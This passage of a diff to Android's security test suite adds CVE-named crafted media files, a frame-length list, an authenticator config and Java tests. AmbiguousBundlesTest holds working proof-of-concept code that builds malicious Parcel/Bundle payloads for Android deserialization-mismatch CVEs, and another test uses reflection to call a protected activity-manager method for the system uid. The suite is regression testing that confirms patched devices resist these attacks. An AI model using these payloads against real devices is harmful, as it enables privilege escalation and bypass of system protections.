diff --git a/tests/tests/security/res/raw/cve_2017_0696.mp4 b/tests/tests/security/res/raw/cve_2017_0696.mp4
new file mode 100644
index 0000000..651aeff
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0696.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_avc.mp4 b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
new file mode 100644
index 0000000..a627ec6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4 b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
new file mode 100644
index 0000000..5fc9458
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
@@ -0,0 +1,98 @@
+22
+130
+83
+102
+85
+97
+73
+86
+79
+80
+69
+80
+78
+82
+81
+77
+65
+85
+83
+91
+72
+88
+74
+87
+72
+66
+66
+77
+74
+94
+66
+59
+59
+70
+64
+76
+59
+88
+59
+83
+75
+72
+72
+92
+83
+77
+52
+66
+57
+57
+58
+91
+69
+86
+67
+63
+68
+89
+73
+72
+69
+58
+65
+79
+82
+0
+239
+189
+168
+151
+137
+142
+156
+127
+149
+157
+152
+151
+113
+133
+158
+104
+114
+138
+144
+147
+126
+157
+132
+107
+100
+165
+154
+112
+164
+131
+111
+143
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4 b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
new file mode 100644
index 0000000..8b4858b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13318.mp4 b/tests/tests/security/res/raw/cve_2017_13318.mp4
new file mode 100644
index 0000000..7ab776b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13318.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_17773.mp4 b/tests/tests/security/res/raw/cve_2017_17773.mp4
new file mode 100644
index 0000000..09e32c9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_17773.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18074.wma b/tests/tests/security/res/raw/cve_2017_18074.wma
new file mode 100644
index 0000000..2634a4d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18074.wma
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18155.mp4 b/tests/tests/security/res/raw/cve_2017_18155.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18155.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_11287.mp4 b/tests/tests/security/res/raw/cve_2018_11287.mp4
new file mode 100644
index 0000000..796867b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_11287.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5874.mp4 b/tests/tests/security/res/raw/cve_2018_5874.mp4
new file mode 100644
index 0000000..f1656bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5874.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5875.mp4 b/tests/tests/security/res/raw/cve_2018_5875.mp4
new file mode 100644
index 0000000..c07d5d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5875.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5876.mp4 b/tests/tests/security/res/raw/cve_2018_5876.mp4
new file mode 100644
index 0000000..7f656a4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5876.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5882.flac b/tests/tests/security/res/raw/cve_2018_5882.flac
new file mode 100644
index 0000000..5089aea
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5882.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5894.mp4 b/tests/tests/security/res/raw/cve_2018_5894.mp4
new file mode 100644
index 0000000..09720c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5894.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9412.mp3 b/tests/tests/security/res/raw/cve_2018_9412.mp3
new file mode 100644
index 0000000..23391b3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9412.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9423.mp4 b/tests/tests/security/res/raw/cve_2018_9423.mp4
new file mode 100755
index 0000000..08e2387
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9423.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9474.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
new file mode 100644
index 0000000..3ff485a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10489.mp4 b/tests/tests/security/res/raw/cve_2019_10489.mp4
new file mode 100644
index 0000000..a3eba77
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10489.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10532.wmv b/tests/tests/security/res/raw/cve_2019_10532.wmv
new file mode 100644
index 0000000..4869a54
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10532.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10533.mp4 b/tests/tests/security/res/raw/cve_2019_10533.mp4
new file mode 100644
index 0000000..619a0f3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10533.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10534.mp4 b/tests/tests/security/res/raw/cve_2019_10534.mp4
new file mode 100644
index 0000000..bdcc52d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10534.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10541.mp4 b/tests/tests/security/res/raw/cve_2019_10541.mp4
new file mode 100644
index 0000000..6b1d167
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10541.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10578.mkv b/tests/tests/security/res/raw/cve_2019_10578.mkv
new file mode 100644
index 0000000..4e39345
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10578.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10579.mkv b/tests/tests/security/res/raw/cve_2019_10579.mkv
new file mode 100644
index 0000000..0b079d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10579.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10590.mp4 b/tests/tests/security/res/raw/cve_2019_10590.mp4
new file mode 100644
index 0000000..84b7981
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10590.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10591.mp4 b/tests/tests/security/res/raw/cve_2019_10591.mp4
new file mode 100644
index 0000000..73b288a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10611.mp4 b/tests/tests/security/res/raw/cve_2019_10611.mp4
new file mode 100644
index 0000000..3374e81
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10611.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14003.mkv b/tests/tests/security/res/raw/cve_2019_14003.mkv
new file mode 100644
index 0000000..973a130
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14003.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14004.mkv b/tests/tests/security/res/raw/cve_2019_14004.mkv
new file mode 100644
index 0000000..c222cf7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14004.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14005.mkv b/tests/tests/security/res/raw/cve_2019_14005.mkv
new file mode 100644
index 0000000..74d596b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14005.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14006.mkv b/tests/tests/security/res/raw/cve_2019_14006.mkv
new file mode 100644
index 0000000..37b0c0a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14006.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14016.wmv b/tests/tests/security/res/raw/cve_2019_14016.wmv
new file mode 100644
index 0000000..aeff9c1
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14016.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14017.mkv b/tests/tests/security/res/raw/cve_2019_14017.mkv
new file mode 100644
index 0000000..ad6a7ba
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14017.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14048.ts b/tests/tests/security/res/raw/cve_2019_14048.ts
new file mode 100644
index 0000000..1a79b20
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14048.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14057.mkv b/tests/tests/security/res/raw/cve_2019_14057.mkv
new file mode 100644
index 0000000..4ec7655
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14057.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14061.mkv b/tests/tests/security/res/raw/cve_2019_14061.mkv
new file mode 100644
index 0000000..ec869f2
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14061.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14127.mkv b/tests/tests/security/res/raw/cve_2019_14127.mkv
new file mode 100644
index 0000000..e9e15a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14127.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14132.mp4 b/tests/tests/security/res/raw/cve_2019_14132.mp4
new file mode 100644
index 0000000..f95a77d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
new file mode 100644
index 0000000..e8899bd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2129.3gp b/tests/tests/security/res/raw/cve_2019_2129.3gp
new file mode 100644
index 0000000..c461081
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2129.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
new file mode 100644
index 0000000..15470c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
@@ -0,0 +1,15 @@
+88
+230
+22
+103
+11
+61
+21
+122
+16
+299
+140
+165
+163
+6
+311
diff --git a/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
new file mode 100644
index 0000000..8533f1b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2244.ts b/tests/tests/security/res/raw/cve_2019_2244.ts
new file mode 100644
index 0000000..9d03265
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2244.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2253.ogg b/tests/tests/security/res/raw/cve_2019_2253.ogg
new file mode 100644
index 0000000..98fe781
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2253.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2259.mp3 b/tests/tests/security/res/raw/cve_2019_2259.mp3
new file mode 100644
index 0000000..7804a75
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2259.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2322.mkv b/tests/tests/security/res/raw/cve_2019_2322.mkv
new file mode 100644
index 0000000..8431f98
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2322.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2327.mkv b/tests/tests/security/res/raw/cve_2019_2327.mkv
new file mode 100644
index 0000000..48a8559
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2327.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2334.mkv b/tests/tests/security/res/raw/cve_2019_2334.mkv
new file mode 100644
index 0000000..7385338
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2334.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3641.mp4 b/tests/tests/security/res/raw/cve_2020_3641.mp4
new file mode 100644
index 0000000..ee66c7c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3641.mp4
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts"
+    android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 5a65d41..2fb6f6b 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,18 +15,52 @@
  */
 package android.security.cts;
 
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Process;
 import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
 import junit.framework.TestCase;
 
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 @SecurityTest
 public class ActivityManagerTest extends TestCase {
 
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+    private static CountDownLatch sLatch;
+    private static volatile int sNormalActivityUserId;
+    private static volatile boolean sCannotReflect;
+    private static volatile boolean sIsAppForeground;
+
+    private static final String TAG = "ActivityManagerTest";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
+        sLatch = new CountDownLatch(2);
+        sNormalActivityUserId = -1;
+        sCannotReflect = false;
+        sIsAppForeground = false;
     }
 
+    @SecurityTest(minPatchLevel = "2015-03")
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -42,4 +76,145 @@
             // Patched devices should throw this exception
         }
     }
-}
\ No newline at end of file
+
+    // b/144285917
+    @SecurityTest(minPatchLevel = "2020-05")
+    public void testActivityManager_attachNullApplication() {
+        SecurityException securityException = null;
+        Exception unexpectedException = null;
+        try {
+            final Object iam = ActivityManager.class.getDeclaredMethod("getService").invoke(null);
+            Class.forName("android.app.IActivityManager").getDeclaredMethod("attachApplication",
+                    Class.forName("android.app.IApplicationThread"), long.class)
+                    .invoke(iam, null /* thread */, 0 /* startSeq */);
+        } catch (SecurityException e) {
+            securityException = e;
+        } catch (InvocationTargetException e) {
+            if (e.getCause() instanceof SecurityException) {
+                securityException = (SecurityException) e.getCause();
+            } else {
+                unexpectedException = e;
+            }
+        } catch (Exception e) {
+            unexpectedException = e;
+        }
+        if (unexpectedException != null) {
+            Log.w("ActivityManagerTest", "Unexpected exception", unexpectedException);
+        }
+
+        assertNotNull("Expect SecurityException by attaching null application", securityException);
+    }
+
+    public void testIsAppInForegroundNormal() throws Exception {
+        /* Verify that isAppForeground can be called by the caller on itself. */
+        launchActivity(NormalActivity.class);
+        sNormalActivityUserId = InstrumentationRegistry.getTargetContext().getPackageManager()
+                .getPackageUid(SECURITY_CTS_PACKAGE_NAME, 0);
+        sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+        if (sCannotReflect) return; // If reflection is not possible, pass the test.
+        assertTrue("isAppForeground failed to query for uid on itself.", sIsAppForeground);
+    }
+
+    public void testIsAppInForegroundMalicious() throws Exception {
+        /* Verify that isAppForeground cannot be called by another app on a known uid. */
+        launchActivity(MaliciousActivity.class);
+        launchSettingsActivity();
+        sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+        if (sCannotReflect) return; // If reflection is not possible, pass the test.
+        assertFalse("isAppForeground successfully queried for a uid other than itself.",
+                sIsAppForeground);
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    private void launchSettingsActivity() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(android.provider.Settings.ACTION_SETTINGS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    public static class NormalActivity extends Activity {
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+            Intent intent = new Intent(this, AppMonitoringService.class);
+            intent.putExtra(AppMonitoringService.EXTRA_UID, sNormalActivityUserId);
+            startService(intent);
+        }
+    }
+
+    public static class MaliciousActivity extends Activity {
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+            Intent intent = new Intent(this, AppMonitoringService.class);
+            intent.putExtra(AppMonitoringService.EXTRA_UID, Process.SYSTEM_UID);
+            startService(intent);
+            finish();
+        }
+    }
+
+    public static class AppMonitoringService extends Service {
+
+        private static final String EXTRA_UID = "android.security.cts.extra.UID";
+        private int uid;
+
+        @Override
+        public int onStartCommand(Intent intent, int flags, int startId) {
+            uid = intent.getIntExtra(EXTRA_UID, -1);
+            return super.onStartCommand(intent, flags, startId);
+        }
+
+        public AppMonitoringService() {
+            super.onCreate();
+
+            final Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                public void run() {
+                    try {
+                        ActivityManager activityManager = (ActivityManager) getSystemService(
+                                ACTIVITY_SERVICE);
+                        Field field = activityManager.getClass().getDeclaredField(
+                                "IActivityManagerSingleton");
+                        field.setAccessible(true);
+                        Object fieldValue = field.get(activityManager);
+                        Method method = fieldValue.getClass().getDeclaredMethod("create");
+                        method.setAccessible(true);
+                        Object IActivityInstance = method.invoke(fieldValue);
+                        Method isAppForeground = IActivityInstance.getClass().getDeclaredMethod(
+                                "isAppForeground", int.class);
+                        isAppForeground.setAccessible(true);
+                        boolean res = (boolean) isAppForeground.invoke(IActivityInstance, uid);
+                        if (res) {
+                            sIsAppForeground = true;
+                        }
+                    } catch (Exception e) {
+                        Log.e(TAG, "Failed to fetch/invoke field/method via reflection.", e);
+                        sCannotReflect = true;
+                    }
+                    sLatch.countDown();
+                    handler.postDelayed(this, 200);
+
+                }
+            }, 0);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            throw new UnsupportedOperationException("Not yet implemented");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index f8a2a8f..df1018a 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -32,6 +32,7 @@
      * Verifies that the device is not vulnerable to ANDROID-19270126: Android
      * BitmapFactory.decodeStream JPG allocPixelRef integer overflow
      */
+    @SecurityTest(minPatchLevel = "2015-03")
     public void testAllocateJavaPixelRefIntOverflow() {
         InputStream exploitImage = mContext.getResources().openRawResource(
                 R.raw.cve_2015_1531_b_19270126);
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index dc74708..e7126ed 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -22,6 +22,10 @@
 import android.os.BaseBundle;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.AbsSavedState;
+import android.view.View;
+import android.view.View.BaseSavedState;
 import android.annotation.SuppressLint;
 
 import java.io.InputStream;
@@ -33,117 +37,437 @@
 
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
-    @SecurityTest
+    /*
+     * b/71992105
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void test_android_CVE_2017_13310() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            {
+                parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+                parcelledDataField.setAccessible(true);
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
+
+                (new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+
+            private String makeStringToInject(Random random) {
+                Parcel p = Parcel.obtain();
+                p.writeInt(VAL_INTARRAY);
+                p.writeInt(13);
+
+                for (int i = 0; i < VAL_INTARRAY / 2; i++) {
+                    int paddingVal;
+                    if(1 > 3) {
+                        paddingVal = 0x420041 + (i << 17) + (i << 1);
+                    } else {
+                        paddingVal = random.nextInt();
+                    }
+                    p.writeInt(paddingVal);
+                }
+
+                p.setDataPosition(0);
+                String result = p.readString();
+                p.recycle();
+                return result;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/71508348
+     */
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void test_android_CVE_2018_9339() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
+            private final Parcelable smallerParcelable;
+            private final Parcelable biggerParcelable;
+
+            {
+                parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+                parcelledDataField.setAccessible(true);
+
+                smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
+                biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
+
+                Parcel p = Parcel.obtain();
+                smallerParcelable.writeToParcel(p, 0);
+                int smallerParcelableSize = p.dataPosition();
+                biggerParcelable.writeToParcel(p, 0);
+                int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
+                p.recycle();
+
+                if (smallerParcelableSize >= biggerParcelableSize) {
+                    throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
+                }
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                // Find key that has hash below everything else
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                // Pad bundles
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                // Write bundle
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
+                parcel.writeString(key); // Key
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("android.service.autofill.SaveRequest");
+
+                // read/writeTypedArrayList
+                parcel.writeInt(2); // Number of items in typed array list
+                parcel.writeInt(1); // Item present flag
+                parcel.writeString(BASE_PARCELABLE);
+                biggerParcelable.writeToParcel(parcel, 0);
+                parcel.writeInt(1); // Item present flag
+                smallerParcelable.writeToParcel(parcel, 0);
+
+                // read/writeBundle
+                int bundleLengthPosition = parcel.dataPosition();
+                parcel.writeInt(0); // Placeholder, will be replaced
+                parcel.writeInt(BUNDLE_MAGIC);
+                int bundleStart = parcel.dataPosition();
+                for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
+                    parcel.writeInt(414100 + i); // Padding in inner bundle
+                }
+                parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
+                writeBundleSkippingHeaders(parcel, postReSerialize);
+                int bundleEnd = parcel.dataPosition();
+
+                // Update inner Bundle length
+                parcel.setDataPosition(bundleLengthPosition);
+                parcel.writeInt(bundleEnd - bundleStart);
+                parcel.setDataPosition(bundleEnd);
+
+                // Write original Bundle contents
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                // Package crafted Parcel into Bundle so it can be used in regular Android APIs
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/62998805
+     */
+    @SecurityTest(minPatchLevel = "2017-10")
+    public void test_android_CVE_2017_0806() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(postReSerialize, random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("android.service.gatekeeper.GateKeeperResponse");
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_NULL);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/73252178
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void test_android_CVE_2017_13311() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+               Random random = new Random(1234);
+               int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 1);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_OBJECTARRAY);
